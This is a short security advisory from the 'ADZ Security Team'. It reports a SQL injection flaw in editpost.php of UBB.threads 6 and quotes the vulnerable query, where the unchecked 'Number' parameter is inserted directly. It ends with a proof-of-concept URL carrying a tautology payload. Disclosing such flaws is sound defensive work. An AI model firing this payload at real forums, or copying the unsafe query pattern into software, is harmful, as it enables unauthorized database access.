ubbSQL.txt

`  
  
  
ADZ Security Team  
===================  
Info  
  
Program: UBB.threads  
Version: 6  
Module: editpost.php  
Bug type: SQL Injection  
Vendor site: http://www.ubbcentral.com/ubbthreads/  
===================  
Bug discription  
  
at editpost.php we can see this code:  
// START  
$Cat = get_input("Cat","get");  
$Board = get_input("Board","get");  
$Number = get_input("Number","get");  
$page = get_input("page","get");  
$what = get_input("what","get");  
$vc = get_input("vc","get");  
// ...........  
$query = "  
SELECT  
B_Posterid,B_Subject,B_Body,B_Approved,B_Kept,B_Status,B_Main,B_Sticky,  
B_Posted,B_Icon,B_Poll,B_Convert,B_Topic,B_CalDay,B_CalMonth,B_CalYear,  
B_AddSig,B_Board FROM {$config['tbprefix']}Posts  
WHERE B_Number = '$Number'  
";  
//..........  
// END  
As we see, $Number not checked as int value, so... :)  
===================  
Example/PoC:  
  
http://[host]/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a  
===================  
Contact  
  
ADZ Security Team // http://adz.void.ru/  
kreon // [email protected], [email protected]  
===================  
  
  
  
`